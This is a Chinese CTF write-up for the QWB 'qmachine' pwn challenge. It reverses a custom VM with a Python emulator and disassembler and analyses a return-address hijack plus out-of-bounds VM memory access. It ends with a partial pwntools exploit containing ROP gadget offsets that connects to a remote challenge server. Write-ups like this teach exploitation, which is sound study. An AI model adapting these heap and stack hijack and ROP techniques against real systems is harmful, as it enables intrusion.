IS-pwn-Linux-QWB-qmachine

逆向分析部分

点开一看,很典型的vm题目架构.

先加上一个结构体.

1
2
3
4
5
6
7
8
00000000 machine         struc ; (sizeof=0x7D1C, mappedto_8)
00000000 opcode_ptr dq ? ; offset
00000008 opcode_len_0x690 dd ?
0000000C pad dd ?
00000010 data_ptr dq ? ; offset
00000018 data_len_0xa dd ?
0000001C stack dd 8000 dup(?)
00007D1C machine ends
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall init_machine(machine *machine_ptr, const void *src, int len_0x690, int len_0xa)
{
int v4; // ebp
int v5; // er12
unsigned __int64 v6; // ST08_8
int *v7; // rax
int *v8; // rax

v4 = len_0x690;
v5 = len_0xa;
v6 = __readfsqword(0x28u);
v7 = (int *)calloc(len_0xa, 4uLL);
machine_ptr->data_len_0xa = v5;
machine_ptr->data_ptr = v7;
v8 = (int *)calloc(1uLL, v4);
machine_ptr->opcode_ptr = v8;
memcpy(v8, src, v4);
machine_ptr->opcode_len_0x690 = v4;
return v6 - __readfsqword(0x28u);
}

然后就到了万恶的执行环节,具体逆向方法就是动静结合,这样就可以把所有指令的作用和效果全部逆向出来,这里直接给出逆向出来的虚拟机.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
opcode_source = [ 14593309, 328982, 6816276, 1, 1116432, 255, 6816274, 1, 393227, 3409422, 0, 6816274, 1, 1116432, 0, 393227, 3409422, 0, 328982, 6816276, 2, 1116432, 39, 6816274, 2, 393227, 3409422, 0, 6816274, 2, 1116432, 0, 393227, 3409422, 0, 6816274, 2, 1116432, 4, 1114120, 329752, 6816274, 1, 139267, 6816274, 2, 1116432, 4, 1114120, 329751, 65819, 328982, 6816276, 3, 328982, 6816276, 4, 1116432, 39, 6816274, 4, 393227, 3409422, 0, 6816274, 4, 1116432, 0, 393227, 3409422, 0, 1116432, 0, 6816276, 5, 6816274, 4, 6816274, 5, 393227, 3409422, 99, 65818, 100, 0, 40, 6816274, 3, 1114114, 328981, 6816274, 5, 1116432, 1, 1114113, 6816276, 5, 3409421, 75, 65819, 328982, 6816274, 5, 6816019, -1, 6816274, 5, 6816017, -1, 1116432, 0, 393228, 3409422, 0, 6816274, 5, 6816017, -1, 65819, 328982, 6816276, 0, 1116432, 1, 6816274, 0, 393228, 3409423, 135, 65818, 1, 0, 40, 3409421, 119, 1116432, 2, 6816274, 0, 393228, 3409423, 148, 65818, 51, 0, 40, 3409421, 119, 1116432, 3, 6816274, 0, 393228, 3409423, 161, 65818, 201, 0, 40, 3409421, 119, 1116432, 4, 6816274, 0, 393228, 3409423, 174, 65818, 251, 0, 40, 3409421, 119, 1116432, 5, 6816274, 0, 393228, 3409423, 187, 65818, 317, 0, 40, 3409421, 119, 1116432, 6, 6816274, 0, 393228, 3409423, 200, 65818, 367, 0, 40, 3409421, 119, 14593309, 328982, 6816276, 1, 1116432, 255, 6816274, 1, 393227, 3409422, 0, 6816274, 1, 1116432, 0, 393227, 3409422, 0, 328982, 6816276, 2, 1116432, 39, 6816274, 2, 393227, 3409422, 0, 6816274, 2, 1116432, 0, 393227, 3409422, 0, 6816274, 2, 1116432, 4, 1114120, 329752, 6816274, 1, 139271, 6816274, 2, 1116432, 4, 1114120, 329751, 65819, 328982, 6816276, 3, 328982, 6816276, 4, 1116432, 39, 6816274, 4, 393227, 3409422, 0, 6816274, 4, 1116432, 0, 393227, 3409422, 0, 1116432, 0, 6816276, 5, 6816274, 4, 6816274, 5, 393227, 3409422, 316, 65818, 100, 0, 40, 6816274, 3, 1114118, 6816274, 5, 6816019, -1, 6816274, 5, 6816017, -1, 1116432, 0, 393228, 3409422, 0, 6816274, 5, 6816017, -1, 328981, 6816274, 5, 1116432, 1, 1114113, 6816276, 5, 3409421, 275, 65819, 328982, 6816276, 1, 1116432, 255, 6816274, 1, 393227, 3409422, 0, 6816274, 1, 1116432, 0, 393227, 3409422, 0, 328982, 6816276, 2, 1116432, 39, 6816274, 2, 393227, 3409422, 0, 6816274, 2, 1116432, 0, 393227, 3409422, 0, 6816274, 2, 1116432, 4, 1114120, 329752, 6816274, 1, 139269, 6816274, 2, 1116432, 4, 1114120, 329751, 65819, 328982, 6816276, 3, 328982, 6816276, 4, 1116432, 39, 6816274, 4, 393227, 3409422, 0, 6816274, 4, 1116432, 0, 393227, 3409422, 0, 1116432, 0, 6816276, 5, 6816274, 4, 6816274, 5, 393227, 3409422, 415, 65818, 100, 0, 40, 6816274, 3, 1114116, 328981, 6816274, 5, 1116432, 1, 1114113, 6816276, 5, 3409421, 391, 65819, 14593309, 14593309, 14593309, 14593309 ]

stack = [0] * 8000
data = [0] * 10

pc = 0x77
stack_level = -1
esp = -1
opcode = opcode_source[pc]
print("opcode: " + hex(opcode))
while(opcode != 0xDEAD1D):
arg_index = pc + 1
arg = opcode_source[arg_index]
if(opcode == 0x1011A):
pc = pc + 4
stack_level = stack_level + 1
print("call arg arg2为参数数量")
print("arg: " + hex(arg))
print("arg2: " + hex(opcode_source[arg_index + 1]))
stack[41 * stack_level + 1082] = pc
pc = arg
elif(opcode == 0x1011B):
print("ret => pc = stack[41 * stack_level + 1082]")
print(stack[41 * stack_level + 1082])
pc = stack[41 * stack_level + 1082]
stack_level = stack_level - 1
elif(opcode == 0x22003):
print("对当前IO缓冲区数据使用stack[esp]与")
pc = pc + 1
elif(opcode == 0x22005):
print("对当前IO缓冲区数据使用stack[esp]或")
pc = pc + 1
elif(opcode == 0x22007):
print("对当前IO缓冲区数据使用stack[esp]异或")
pc = pc + 1
elif(opcode == 0x50515):
print("printf_int stack[esp]")
esp = esp - 1
pc = pc + 1
elif(opcode == 0x50516):
print("push scanf_int")
esp = esp + 1
stack[esp + 1] = int(input())
print("scanf_int: " + hex(stack[esp + 1]))
pc = pc + 1
elif(opcode == 0x50817):
print("write(1, stack data, stack[esp])")
esp = esp - 1
pc = pc + 1
elif(opcode == 0x50818):
print("read(0, stack data, stack[esp])")
esp = esp - 1
pc = pc + 1
elif(opcode == 0x6000B):
print("cmp >")
print(hex(stack[esp]) + " < " + hex(stack[esp + 1]))
stack[esp] = stack[esp] < stack[esp + 1]
esp = esp - 1
pc = pc + 1
elif(opcode == 0x6000C):
print("cmp ==")
print(hex(stack[esp]) + " == " + hex(stack[esp + 1]))
stack[esp] = stack[esp] == stack[esp + 1]
esp = esp - 1
pc = pc + 1
elif(opcode == 0x110001):
print("add")
print(hex(stack[esp]) + " add " + hex(stack[esp + 1]))
stack[esp] = stack[esp] + stack[esp + 1]
esp = esp - 1
pc = pc + 1
elif(opcode == 0x110002):
print("and")
print(hex(stack[esp]) + " and " + hex(stack[esp + 1]))
stack[esp] = stack[esp] & stack[esp + 1]
esp = esp - 1
pc = pc + 1
elif(opcode == 0x110003):
print("cal?")
pc = pc + 1
elif(opcode == 0x110004):
print("or")
pc = pc + 1
elif(opcode == 0x110005):
print("cal?")
pc = pc + 1
elif(opcode == 0x110006):
print("xor")
print(hex(stack[esp]) + " xor " + hex(stack[esp + 1]))
stack[esp] = stack[esp] ^ stack[esp + 1]
esp = esp - 1
pc = pc + 1
elif(opcode == 0x110007):
print("cal?")
pc = pc + 1
elif(opcode == 0x110008):
print("mul")
print(hex(stack[esp]) + " mul " + hex(stack[esp + 1]))
stack[esp] = stack[esp] * stack[esp + 1]
esp = esp - 1
pc = pc + 1
elif(opcode == 0x110910):
print("push arg")
print("arg: " + hex(arg))
esp = esp + 1
stack[esp + 1] = arg
print("stack[esp + 1]: " + hex(stack[esp + 1]))
pc = pc + 2
elif(opcode == 0x121219):
print("esp--")
esp = esp - 1
pc = pc + 1
elif(opcode == 0x303009):
print("l shift")
pc = pc + 1
elif(opcode == 0x30300A):
print("r shift")
pc = pc + 1
elif(opcode == 0x34060D):
print("jmp arg")
print("arg: " + hex(arg))
pc = arg
elif(opcode == 0x34060E):
print("jmp_if_stack_val1 arg")
print("stack_val: " + hex(stack[esp + 1]))
print("arg: " + hex(arg))
if(stack[esp + 1] == 1):
pc = arg
else:
pc = pc + 2
esp = esp - 1
elif(opcode == 0x34060F):
print("jmp_if_stack_val0 arg")
print("stack_val: " + hex(stack[esp + 1]))
print("arg: " + hex(arg))
if(not stack[esp + 1]):
pc = arg
else:
pc = pc + 2
esp = esp - 1
elif(opcode == 0x680111):
print("push stack[41 * stack_level + 0x412 + arg]")
if(arg == -1):
arg = stack[esp + 1]
else:
arg = arg
print("arg: " + hex(arg))
esp = esp + 1
stack[esp + 1] = stack[41 * stack_level + 0x412 + arg]
print("stack[41 * stack_level + 0x412 + arg]: " + hex(stack[esp + 1]))
pc = pc + 2
elif(opcode == 0x680113):
print("pop stack[41 * stack_level + 1042 + arg]")
if(arg == -1):
arg = stack[esp + 1]
else:
arg = arg
print("arg: " + hex(arg))
esp = esp - 1
stack[41 * stack_level + 0x412 + arg] = stack[esp + 1]
pc = pc + 2
elif(opcode == 0x680212):
print("push data[arg]")
print("arg: " + hex(arg))
print("data[arg]: " + hex(data[arg]))
esp = esp + 1
stack[esp + 1] = data[arg]
print("stack[esp + 1]: " + hex(stack[esp + 1]))
pc = pc + 2
elif(opcode == 0x680214):
print("pop data[arg]")
print("arg: " + hex(arg))
data[arg] = stack[esp + 1]
print("data[arg]: " + hex(data[arg]))
esp = esp - 1
pc = pc + 2
else:
print("invalid pc")
quit()
opcode = opcode_source[pc]
print("esp: " + str(esp))
print("pc: " + hex(pc))
print("")
print("opcode: " + hex(opcode))

最开始写这个虚拟机是想着方便看程序的运行逻辑,不用一直调试,后来发现实现数据处理什么的就会太麻烦了,而且基本上写出虚拟机之后对整个vm的逻辑已经清晰了,所以又写了反汇编器直接看vm汇编代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
source = [ 14593309, 328982, 6816276, 1, 1116432, 255, 6816274, 1, 393227, 3409422, 0, 6816274, 1, 1116432, 0, 393227, 3409422, 0, 328982, 6816276, 2, 1116432, 39, 6816274, 2, 393227, 3409422, 0, 6816274, 2, 1116432, 0, 393227, 3409422, 0, 6816274, 2, 1116432, 4, 1114120, 329752, 6816274, 1, 139267, 6816274, 2, 1116432, 4, 1114120, 329751, 65819, 328982, 6816276, 3, 328982, 6816276, 4, 1116432, 39, 6816274, 4, 393227, 3409422, 0, 6816274, 4, 1116432, 0, 393227, 3409422, 0, 1116432, 0, 6816276, 5, 6816274, 4, 6816274, 5, 393227, 3409422, 99, 65818, 100, 0, 40, 6816274, 3, 1114114, 328981, 6816274, 5, 1116432, 1, 1114113, 6816276, 5, 3409421, 75, 65819, 328982, 6816274, 5, 6816019, -1, 6816274, 5, 6816017, -1, 1116432, 0, 393228, 3409422, 0, 6816274, 5, 6816017, -1, 65819, 328982, 6816276, 0, 1116432, 1, 6816274, 0, 393228, 3409423, 135, 65818, 1, 0, 40, 3409421, 119, 1116432, 2, 6816274, 0, 393228, 3409423, 148, 65818, 51, 0, 40, 3409421, 119, 1116432, 3, 6816274, 0, 393228, 3409423, 161, 65818, 201, 0, 40, 3409421, 119, 1116432, 4, 6816274, 0, 393228, 3409423, 174, 65818, 251, 0, 40, 3409421, 119, 1116432, 5, 6816274, 0, 393228, 3409423, 187, 65818, 317, 0, 40, 3409421, 119, 1116432, 6, 6816274, 0, 393228, 3409423, 200, 65818, 367, 0, 40, 3409421, 119, 14593309, 328982, 6816276, 1, 1116432, 255, 6816274, 1, 393227, 3409422, 0, 6816274, 1, 1116432, 0, 393227, 3409422, 0, 328982, 6816276, 2, 1116432, 39, 6816274, 2, 393227, 3409422, 0, 6816274, 2, 1116432, 0, 393227, 3409422, 0, 6816274, 2, 1116432, 4, 1114120, 329752, 6816274, 1, 139271, 6816274, 2, 1116432, 4, 1114120, 329751, 65819, 328982, 6816276, 3, 328982, 6816276, 4, 1116432, 39, 6816274, 4, 393227, 3409422, 0, 6816274, 4, 1116432, 0, 393227, 3409422, 0, 1116432, 0, 6816276, 5, 6816274, 4, 6816274, 5, 393227, 3409422, 316, 65818, 100, 0, 40, 6816274, 3, 1114118, 6816274, 5, 6816019, -1, 6816274, 5, 6816017, -1, 1116432, 0, 393228, 3409422, 0, 6816274, 5, 6816017, -1, 328981, 6816274, 5, 1116432, 1, 1114113, 6816276, 5, 3409421, 275, 65819, 328982, 6816276, 1, 1116432, 255, 6816274, 1, 393227, 3409422, 0, 6816274, 1, 1116432, 0, 393227, 3409422, 0, 328982, 6816276, 2, 1116432, 39, 6816274, 2, 393227, 3409422, 0, 6816274, 2, 1116432, 0, 393227, 3409422, 0, 6816274, 2, 1116432, 4, 1114120, 329752, 6816274, 1, 139269, 6816274, 2, 1116432, 4, 1114120, 329751, 65819, 328982, 6816276, 3, 328982, 6816276, 4, 1116432, 39, 6816274, 4, 393227, 3409422, 0, 6816274, 4, 1116432, 0, 393227, 3409422, 0, 1116432, 0, 6816276, 5, 6816274, 4, 6816274, 5, 393227, 3409422, 415, 65818, 100, 0, 40, 6816274, 3, 1114116, 328981, 6816274, 5, 1116432, 1, 1114113, 6816276, 5, 3409421, 391, 65819, 14593309, 14593309, 14593309, 14593309 ]

pc = 0
while(pc < len(source)):
print("pc: " + hex(pc))
opcode = source[pc]
print("opcode: " + hex(opcode))
arg_index = pc + 1
if(arg_index < len(source)):
arg = source[arg_index]
if(opcode == 0x1011A):
pc = pc + 4
print("call arg arg2为参数数量 stack[41 * some_index + 1082] = ret_addr")
print("arg: " + hex(arg))
print("arg2: " + hex(source[arg_index + 1]))
print("")
elif(opcode == 0x1011B):
print("ret => pc = stack[41 * some_index + 1082]")
pc = pc + 1
print("")
elif(opcode == 0x22003):
print("对当前IO缓冲区数据使用stack[esp]与")
pc = pc + 1
elif(opcode == 0x22005):
print("对当前IO缓冲区数据使用stack[esp]或")
pc = pc + 1
elif(opcode == 0x22007):
print("对当前IO缓冲区数据使用stack[esp]异或")
pc = pc + 1
elif(opcode == 0x50515):
print("printf_int stack[esp]")
pc = pc + 1
elif(opcode == 0x50516):
print("push scanf_int")
pc = pc + 1
elif(opcode == 0x50817):
print("write(1, stack data, stack[esp])")
pc = pc + 1
elif(opcode == 0x50818):
print("read(0, stack data, stack[esp])")
pc = pc + 1
elif(opcode == 0x6000B):
print("cmp >")
pc = pc + 1
elif(opcode == 0x6000C):
print("cmp ==")
pc = pc + 1
elif(opcode == 0x110001):
print("add")
pc = pc + 1
elif(opcode == 0x110002):
print("and")
pc = pc + 1
elif(opcode == 0x110004):
print("or")
pc = pc + 1
elif(opcode == 0x110006):
print("xor")
pc = pc + 1
elif(opcode == 0x110008):
print("mul")
pc = pc + 1
elif(opcode == 0x110910):
print("push arg")
print("arg: " + hex(arg))
pc = pc + 2
elif(opcode == 0x121219):
print("esp--")
pc = pc + 1
elif(opcode == 0x303009):
print("l shift")
pc = pc + 1
elif(opcode == 0x30300A):
print("r shift")
pc = pc + 1
elif(opcode == 0x34060D):
print("jmp arg")
print("arg: " + hex(arg))
pc = pc + 2
print("")
elif(opcode == 0x34060E):
print("jmp_if_stack_val1 arg")
print("arg: " + hex(arg))
pc = pc + 2
print("")
elif(opcode == 0x34060F):
print("jmp_if_stack_val0 arg")
print("arg: " + hex(arg))
pc = pc + 2
print("")
elif(opcode == 0x680111):
print("push stack[41 * some_index + 0x412 + arg]")
print("arg: " + hex(arg))
pc = pc + 2
elif(opcode == 0x680113):
print("pop stack[41 * some_index + 1042 + arg]")
print("arg: " + hex(arg))
pc = pc + 2
elif(opcode == 0x680212):
print("push data[arg]")
print("arg: " + hex(arg))
pc = pc + 2
elif(opcode == 0x680214):
print("pop data[arg]")
print("arg: " + hex(arg))
pc = pc + 2
elif(opcode == 0xDEAD1D):
print("0xDEAD1D")
pc = pc + 1
else:
print("invalid pc")

导出asm之后就开始了人肉反编译的过程,反编译代码如下,主函数就是一个根据输入的数字跳转的菜单.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
func1:
data[1] = scanf_int()
if(data[1] > 0xff):
jmp 0
if(data[1] < 0):
jmp 0
data[2] = scanf_int()
if(data[2] > 0x27):
jmp 0
if(data[2] < 0):
jmp 0
read(0, 41 * stack_level + 1042, data[2] * 4)
memand(func_stack, data[1])
write(1, 41 * stack_level + 1042, data[2] * 4)
return

func2:
data[3] = scanf_int()
data[4] = scanf_int()
if(data[4] > 0x27):
jmp 0
if(data[4] < 0):
jmp 0
data[5] = 0
while(data[4] >= data[5]) {
call 0x64
printf_int(data[3] and stack[41 * stack_level + 1042 + data[5]])
data[5]++
}
return

func3
data[1] = scanf_int()
if(data[1] > 0xff):
jmp 0
if(0 > data[1]):
jmp 0
data[2] = scanf_int()
if(data[2] > 0x27):
jmp 0
if(0 > data[2]):
jmp 0
read(0, 41 * stack_level + 1042, data[2] * 4)
memxor(41 * stack_level + 1042, data[1])
write(1, 41 * stack_level + 1042, data[2] * 4)
return

func4:
data[3] = scanf_int()
data[4] = scanf_int()
if(data[4] > 0x27):
jmp 0
if(0 > data[4]):
jmp 0
data[5] = 0
while(data[4] >= data[5]){
call 0x64
stack[41 * stack_level + 1042 + data[5]] = data[3] ^ stack[41 * stack_level + 1042 + data[5]]
if(stack[41 * stack_level + 1042 + data[5]] == 0):
jmp 0
printf_int(stack[41 * stack_level + 1042 + data[5]])
data[5]++
}
return

func5:
data[1] = scanf_int()
if(data[1] > 0xff):
jmp 0
if(data[1] < 0):
jmp 0
data[2] = scanf_int()
if(data[2] > 0x27):
jmp 0
if(data[2] < 0):
jmp 0
read(0, 41 * stack_level + 1042, data[2] * 4)
memor(41 * stack_level + 1042, data[1])
write(1, 41 * stack_level + 1042, data[2] * 4)
return

func6:
data[3] = scanf_int()
data[4] = scanf_int()
if(data[4] > 0x27):
jmp 0
if(data[4] < 0):
jmp 0
data[5] = 0
while(data[4] >= data[5]) {
call func_0x64
printf_int(data[3] or stack[41 * stack_level + 1042 + data[5]]);
data[5]++
}
return

func_0x64:
stack[41 * stack_level + 1042 + data[5]] = scanf_int()
if(stack[41 * stack_level + 1042 + data[5]] == 0):
jmp 0
push data[5]
push stack[41 * stack_level + 1042 + data[5]]
return

漏洞分析

分析发现下面这种操作是以\x00判断数据结尾,所以可以利用函数4将函数数据区和函数返回地址连起来,从而利用函数1,3,5修改返回地址,这里选择的是函数3,毕竟异或可以获得确定的返回地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( v5 != 0x22007 )                // 对当前IO缓冲区数据使用stack[esp]异或
goto LABEL_98;
v14 = v9 - 1;
v18 = qmachine->stack[(signed int)v9 + 1];
v19 = &qmachine->stack[41 * v8 + 1042];
v20 = *(_BYTE *)v19;
if ( !*(_BYTE *)v19 )
goto LABEL_25;
do
{
v19 = (int *)((char *)v19 + 1);
*((_BYTE *)v19 - 1) = v18 ^ v20;
v20 = *(_BYTE *)v19;
}
while ( *(_BYTE *)v19 );
v9 = v14;
++pc;

然后就是寻找gadget,因为此次劫持只能把返回地址修改为单字节数据,不能任意地址,所以这里使用的gadget如下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// pc: 0x52
// opcode: 0x1011a
// call arg arg2为参数数量 stack[41 * stack_level + 1082] = ret_addr
// arg: 0x64
// arg2: 0x0
call 0x64

// func_0x64 start
// pc: 0x64
// opcode: 0x50516
// push scanf_int
// pc: 0x65
// opcode: 0x680212
// push data[arg]
// arg: 0x5
// pc: 0x67
// opcode: 0x680113
// pop stack[41 * stack_level + 1042 + arg]
// arg: -0x1
// pc: 0x69
// opcode: 0x680212
stack[41 * stack_level + 1042 + data[5]] = scanf_int()

// push data[arg]
// arg: 0x5
// pc: 0x6b
// opcode: 0x680111
// push stack[41 * stack_level + 0x412 + arg]
// arg: -0x1
// pc: 0x6d
// opcode: 0x110910
// push arg
// arg: 0x0
// pc: 0x6f
// opcode: 0x6000c
// cmp ==
// pc: 0x70
// opcode: 0x34060e
// jmp_if_stack_val1 arg
// arg: 0x0
if(scanf_int() == 0):
jmp 0

// pc: 0x72
// opcode: 0x680212
// push data[arg]
// arg: 0x5
// pc: 0x74
// opcode: 0x680111
// push stack[41 * stack_level + 0x412 + arg]
// arg: -0x1
// pc: 0x76
// opcode: 0x1011b
// ret => pc = stack[41 * stack_level + 1082]
push data[5]
push scanf_int()
return
// func_0x64 end

由于劫持返回地址后data[5]中为0x28,所以在这段gadget中刚好可以写入该次调用的返回地址,从而劫持返回地址到任意地址.

vmpc的判断没有检测是否小于0,且使用的是有符号数比较,所以可以把pc置为负数绕过检测,且刚好可以指向程序开头输入的name.

1
2
if ( qmachine->len_0x690 <= pc )
break;
1
2
3
4
5
6
7
8
9
10
11
name_ptr = (const char *)malloc(0x500uLL);

//...

v3 = name_ptr;
v4 = (unsigned __int64)(name_ptr + 8);
*(_QWORD *)name_ptr = 0LL;
*((_QWORD *)v3 + 0x9F) = 0LL;
memset((void *)(v4 & 0xFFFFFFFFFFFFFFF8LL), 0, 8 * (((unsigned int)v3 - (v4 & 0xFFFFFFF8) + 0x500) >> 3));
__printf_chk(1LL, "UserName: ");
read_stdin((void *)name_ptr, 0x4FFLL);

漏洞利用

然后就是通过下面两个opcode进行越界读写了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
if ( v5 == 0x680111 )
{ // push stack[41 * some_index + 1042 + arg]
pc += 2;
v37 = v4[v11];
if ( (_DWORD)v37 == -1 )
{
v38 = (signed int)v9;
v37 = qmachine->stack[(signed int)v9 + 1];
}
else
{
if ( (unsigned int)v37 > 0x27 )
goto LABEL_100;
v9 = (unsigned int)(v9 + 1);
v38 = (signed int)v9;
}
qmachine->stack[v38 + 1] = *((_DWORD *)&qmachine->opcode_array_0x690 + v37 + 41LL * v8 + 1048 + 1);
}
else
{
if ( v5 != 0x680113 ) // pop stack[41 * some_index + 1042 + arg]
goto LABEL_98;
pc += 2;
v39 = v4[v11];
if ( (_DWORD)v39 == -1 )
{
v50 = (signed int)v9;
LODWORD(v9) = v9 - 1;
v39 = qmachine->stack[v50 + 1];
}
else if ( (unsigned int)v39 > 0x27 )
{
goto LABEL_100;
}
v40 = (signed int)v9;
v9 = (unsigned int)(v9 - 1);
*((_DWORD *)&qmachine->opcode_array_0x690 + v39 + 41LL * v8 + 1048 + 1) = qmachine->stack[v40 + 1];
}

比较难的是,想拿到libc地址就只能使用后门,用了后门就不能进行IO,而且出题人还特意把加法的opcodeban了,所以只能自己用异或和与操作实现add.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#################################### add_func

payload = payload.ljust(0x400, b"\x00")
payload += p32(push_arg) + p32(0)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(1)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(xor_cal)
payload += p32(push_arg) + p32(2)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
#a ^ b
payload += p32(push_arg) + p32(0)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(1)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(and_cal)
payload += p32(push_arg) + p32(1)
payload += p32(left_shift)
payload += p32(push_arg) + p32(3)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
#(a & b) << 1
payload += p32(push_arg) + p32(3)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0)
payload += p32(cmp_euql)
payload += p32(jmp_if_val1) + p32(add_func_base + 0xcc // 4)
payload += p32(push_arg) + p32(2)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(3)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(ret)
payload += p32(push_arg) + p32(2)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(ret)

然后就是通过越界读来读取遗留在name chunk上的libc,然后通过加法获取environ的地址,并越界写到data_ptr指针.

1
2
3
4
5
6
7
8
9
10
payload += p32(push_arg) + p32(0x100000000 - 0x540 + 13)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0x100000000 - 0x540 + 12)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0x7600)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb - 1)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)

通过data_ptr相关的两个指令获取栈地址,并通过加法计算出返回地址所在的地址,最后越界写到data_ptr指针.

1
2
3
4
5
6
7
8
payload += p32(push_data) + p32(0)
payload += p32(push_data) + p32(1)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0xfffffeb0)
payload += p32(call_by_arg) + p32(add_func_base) + p32(2) + p32(0)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb - 1)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)

先越界写data_len方便后门写rop链.

1
2
3
payload += p32(push_arg) + p32(0x7fffffff)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb + 1)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)

之后就可以利用data_ptr在栈上写rop链.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.aslr = False

# r = process("./qmachine")
r = remote("121.40.213.105", "23022")

# gdb.attach(r, "b * $rebase(0x1797)\nb * $rebase(0x171E)\nb * $rebase(0x1A66)\nb * $rebase(0x1E67)\nb * $reabse(0x19A9)\nc")
# gdb.attach(r, "b * $rebase(0x1D55) if $r15 == 0x69")
# gdb.attach(r, "b * $rebase(0x1797) if $r15 == 0x67")

push_by_arg = 0x680111
push_arg = 0x110910
pop_by_arg = 0x680113
xor_cal = 0x110006
and_cal = 0x110002
call_by_arg = 0x1011A
left_shift = 0x303009
cmp_euql = 0x6000c
jmp_if_val1 = 0x34060E
ret = 0x1011B
push_data = 0x680212
base_off = 0x219c00
pop_rdi_ret = 0x2a3e5
pop_rsi_ret = 0x2be51
pop_rdx_pop_ret = 0x11f497
pop_rax_ret = 0x45eb0
syscall = 0x115115
pop_data = 0x680214
flag_addr = 0x100000000 - 0x6420
add_func_base = 0x100000000 - 0x193e - 2
read_addr = 0x114980
write_addr = 0x114a20

payload = b"QWBroot\x00"
payload += p32(push_arg) + p32(0x233)
payload += p32(push_arg) + p32(0x233)
payload += p32(push_arg) + p32(0x233)
payload += p32(0x111111C)

##################################### write data_ptr to ret_addr

payload += p32(push_arg) + p32(0x100000000 - 0x540 + 13)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0x100000000 - 0x3eb)
payload += p32(pop_by_arg) + p32(0x100000000 - 1)
payload += p32(push_arg) + p32(0x100000000 - 0x540 + 12)
payload += p32(push_by_arg) + p32(0x100000000 - 1)
